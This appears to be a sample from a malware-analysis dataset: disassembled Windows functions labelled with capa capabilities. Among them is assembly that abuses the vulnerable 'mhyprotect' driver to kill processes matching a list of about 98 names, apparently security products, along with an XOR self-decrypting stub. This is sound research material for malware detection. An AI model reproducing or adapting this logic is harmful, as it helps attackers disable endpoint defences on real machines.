joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1df417c60
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp edx, 2
je 0x1df417d90
ja 0x1df417ca8
test edx, edx
je 0x1df417d28
mov eax, dword [0x1df55e088]
test eax, eax
je 0x1df417e10
mov dword [0x1df55e088], 1
mov eax, 1
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp edx, 3
jne 0x1df417c95
mov eax, dword [0x1df55e088]
test eax, eax
je 0x1df417c95
lea r12, [0x1df55e0a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1df55e080]
test rbx, rbx
je 0x1df417d14
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1df417e38
test eax, eax
jne 0x1df417e38
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1df417ce8
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1df417c95
mov eax, dword [0x1df55e088]
test eax, eax
jne 0x1df417da8
mov eax, dword [0x1df55e088]
cmp eax, 1
jne 0x1df417c95
mov rbx, qword [0x1df55e080]
test rbx, rbx
je 0x1df417d61
nop dword [rax]
mov rcx, rbx
mov rbx, qword [rbx + 0x10]
call fcn.1df420000
test rbx, rbx
jne 0x1df417d50
lea rcx, [0x1df55e0a0]
mov qword [0x1df55e080], 0
mov dword [0x1df55e088], 0
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
jmp 0x1df417c95
call fcn.1df418240
mov eax, 1
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea r12, [0x1df55e0a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1df55e080]
test rbx, rbx
je 0x1df417dfc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word [rax + rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1df417e28
test rsi, rsi
je 0x1df417e28
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1df417dd8
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1df417d32
lea rcx, [0x1df55e0a0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x1df417c8b
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1df417dd8
jmp 0x1df417dfc
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1df417ce8
jmp 0x1df417d14

Function at 0x1df417f70
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r8, qword [0x1df55b220]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1df417f90
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1df417f98
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1df417f90
movzx eax, word [rdx + 0x14]
sub rcx, r8
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1df417fe5
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1df417fdc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1df417f90
add rax, 0x28
cmp rax, r9
jne 0x1df417fc8
xor eax, eax
ret
Function at 0x1df417ff0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1df55b220]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1df41800f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1df418018
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1df41800f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1df4180b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1df55b220]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1df4180cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1df4180d8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1df418360
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rbx, rdx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x1df418390
mov rdx, rbx
mov ecx, eax
mov dword [rsi], eax
add rsp, 0x28
pop rbx
pop rsi
jmp 0x1df4201b0
add rsp, 0x28
pop rbx
pop rsi
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
test rdx, rdx
jne 0x1df4201c0
xor eax, eax
ret
jmp fcn.1df417b60

Function at 0x1df4183d0
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov ebx, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, ebx
mov esi, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, esi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
ret

Function at 0x1df418400
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x1df418418
xor eax, eax
add rsp, 0x28
ret
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x140020770
Capabilities:
Connect pipe
Create pipe
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
xor ebx, ebx
mov rdi, rcx
lea rcx, [0x14002cfd0]
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
lea r8d, [rbx + 6]
mov edx, 0x40000003
mov r9d, 0xff
mov dword [rsp + 0x28], 0x1000
mov dword [rsp + 0x20], 0x1000
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov qword [0x14002cfc0], rax
cmp rax, 0xffffffffffffffff
jne 0x1400207ce
xor eax, eax
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x1400207e4
mov ebx, 1
jmp 0x1400207f2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x217
sete bl
lea rcx, [0x140020b30]
mov r8, rdi
xor edx, edx
call fcn.140008778
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x140020820
Capabilities:
Connect pipe
Write file on windows
Write pipe

Disassembly:
push rdi
sub rsp, 0x30
xor eax, eax
mov edi, r8d
test rdx, rdx
je 0x14002089b
test r8d, r8d
jle 0x14002089b
mov rcx, qword [0x14002cfc0]
lea r9, [rsp + 0x48]
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, eax
test eax, eax
je 0x140020896
cmp edi, dword [rsp + 0x48]
jne 0x140020896
mov rcx, qword [0x14002cfc0]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [0x14002cfc0]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [0x14002cfc0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x140020894
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x17430a8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x17430b2
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x17430db
pop rbp
sub rbp, 0x33
sub rbp, 0x13430a8
sub rsp, 0x20
jmp 0x17430fa
mov rax, 0x13430a8
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x53295e19
xor byte [rax], dl
inc rax
dec rcx
jne 0x1743119
jmp 0x1743130
push rcx
nop
invalid
Function at 0x1400016e0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140001708
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000172e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140001730
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140001789
test ecx, ecx
jle 0x140001769
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140001789
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140001789
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x1400017b0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1400017d2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x1400017e8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140001804
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140001806
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140001842
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x1400018de
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000187d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x1400018be
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x1400018de
cmp rbx, rax
ja 0x140001890
test rbx, rbx
je 0x1400018de
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14013d040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140001d6d
xor eax, eax
jmp 0x140001ed9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140001da7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140001da7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140001ed9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140001ecc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140001dea
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140001e15
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140001ed1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140001e84
sub eax, 1
je 0x140001e84
cmp eax, 2
jne 0x140001ecc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140001ed1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140001eb2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140001ecc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140001ed1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400059d0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400022e0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14013d040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400023b3
cmp byte [rcx + 0x71], 0
je 0x1400023b3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400023af
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002374
sub eax, 1
je 0x140002378
cmp eax, 2
jne 0x1400023af
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400059d0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400023a6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400023af
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000235c
xor al, al
jmp 0x14000235c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400059d0
add rsp, 0x60
pop rbx
ret

Function at 0x1400027a0
Capabilities:
Delete service
Stop service

Disassembly:
sub rsp, 0x58
mov rax, qword [0x14013d040]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x60], rbx
xor ecx, ecx
mov r8d, 2
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140002847
mov r8d, 0x10020
mov qword [rsp + 0x50], rdi
lea rdx, str.mhyprotect
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140002839
xor eax, eax
lea r8, [rsp + 0x20]
xorps xmm0, xmm0
mov qword [rsp + 0x30], rax
mov edx, 1
mov dword [rsp + 0x38], eax
mov rcx, rdi
movups xmmword [rsp + 0x20], xmm0
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x140002830
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdi, qword [rsp + 0x50]
call fcn.140003d00
mov rbx, qword [rsp + 0x60]
test al, al
jne 0x140002878
lea rcx, str.____failed_to_initialize_vulnerable_driver_n
call fcn.140002740
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400059d0
add rsp, 0x58
ret
call fcn.140004310
test al, al
jne 0x1400028a9
lea rcx, str.____failed_to_initialize_driver_properly_n
call fcn.140002740
call fcn.140004220
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400059d0
add rsp, 0x58
ret
call fcn.140002930
call fcn.140004220
xor eax, eax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400059d0
add rsp, 0x58
ret
Function at 0x140002930
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x4d0
mov rax, qword [0x14013d040]
xor rax, rsp
mov qword [rsp + 0x4b0], rax
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x140002b49
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140002b40
mov qword [rsp + 0x4e0], rbx
mov qword [rsp + 0x4e8], rsi
mov qword [rsp + 0x4f0], rdi
mov qword [rsp + 0x4c8], r14
xor r14d, r14d
mov qword [rsp + 0x4c0], r15
lea r15, str.activeconsole
nop word [rax + rax]
lea r8, [rsp + 0x8c]
mov edx, 0x104
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsdup]
mov rsi, rax
mov rbx, r14
movzx eax, word [rax]
test ax, ax
je 0x140002a1d
mov rdi, rsi
nop word [rax + rax]
movzx ecx, ax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_towlower]
mov word [rdi], ax
lea rbx, [rbx + 1]
movzx eax, word [rsi + rbx*2]
lea rdi, [rsi + rbx*2]
test ax, ax
jne 0x140002a00
mov ebx, r14d
mov rdi, r15
mov rdx, qword [rdi]
mov rcx, rsi
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
jne 0x140002a4d
inc ebx
add rdi, 8
cmp ebx, 0x62
jb 0x140002a23
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140002b02
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, dword [rsp + 0x68]
lea rcx, [rsp + 0x48]
mov dword [rsp + 0x50], eax
call fcn.1400045a0
mov edx, 0x10
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rbx, rax
test rax, rax
je 0x140002aee
mov rcx, qword [0x14013e490]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], r14
lea r8, [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov r9d, 0x10
mov dword [rsp + 0x28], 0x10
mov edx, 0x81034000
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rsp + 0x40]
mov edi, eax
test ecx, ecx
je 0x140002ad3
mov r8d, ecx
mov rdx, rbx
lea rcx, [rsp + 0x48]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test edi, edi
je 0x140002aee
lea rcx, str.Killed_process:__s__n
cmp qword [rsp + 0x48], r14
jne 0x140002af5
lea rcx, str.Failed_to_kill:__s_n
lea rdx, [rsp + 0x8c]
call fcn.1400028d0
lea rdx, [rsp + 0x60]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400029c0
mov r15, qword [rsp + 0x4c0]
mov r14, qword [rsp + 0x4c8]
mov rdi, qword [rsp + 0x4f0]
mov rsi, qword [rsp + 0x4e8]
mov rbx, qword [rsp + 0x4e0]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x4b0]
xor rcx, rsp
call fcn.1400059d0
add rsp, 0x4d0
pop rbp
ret
Function at 0x140004220
Capabilities:
Delete service
Stop service

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x14013d040]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rcx, qword [0x14013e490]
test rcx, rcx
je 0x140004247
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [0x14013e498]
test rbx, rbx
je 0x1400042ef
xor edx, edx
mov qword [rsp + 0x60], rdi
xor ecx, ecx
mov r8d, 2
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
lea rdx, [rax - 1]
cmp rdx, 0xfffffffffffffffd
ja 0x140004295
lea r8, [rsp + 0x28]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdi, qword [0x14013e498]
xor edx, edx
xor ecx, ecx
mov r8d, 2
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1400042ea
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x1400042d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x430
jne 0x1400042d8
mov rcx, rbx
jmp 0x1400042e4
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400059d0
add rsp, 0x50
pop rbx
ret

Function at 0x1400045a0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
mov r11, rcx
lea rbx, [0x14013dad0]
xor r10d, r10d
mov r9d, 1
movabs rdi, 0x22aaaa8a20000
movabs rsi, 0x71d67fffeda60000
movabs rbp, 0x555555555
nop word [rax + rax]
lea eax, [r9 - 1]
mov rdx, qword [rbx + rax*8]
mov r8, rdx
mov rax, rdx
shl rax, 0x11
shr r8, 0xc
and r8, rdi
xor r8, rax
mov rax, rdx
shr rax, 0x1d
and r8, rsi
and rax, rbp
xor r8, rax
mov eax, r9d
xor r8, rdx
inc r9d
lea rdx, [r11 + rax*8]
mov rcx, r8
and ecx, 0x7ffbf40
mov rax, r8
shr rax, 0x25
xor rcx, rax
mov rax, r8
and rax, 0xffffffffffffbf77
shr rcx, 6
shl rax, 0x25
xor rcx, rax
mov rax, qword [r11]
add rax, r10
add r10, 0x10
xor rcx, rax
xor rcx, r8
xor qword [rdx], rcx
cmp r9d, 2
jb 0x1400045f0
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret

Function at 0x140005464
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14000549e
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400054a3
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400054ec
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140007540]
cmp byte [rcx + rax], 0
je 0x1400054ec
dec r8
sub rdx, 1
jne 0x1400054d2
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x1400063c4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000640e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000640e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000640e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000640e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000640e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140006410
xor al, al
add rsp, 0x28
ret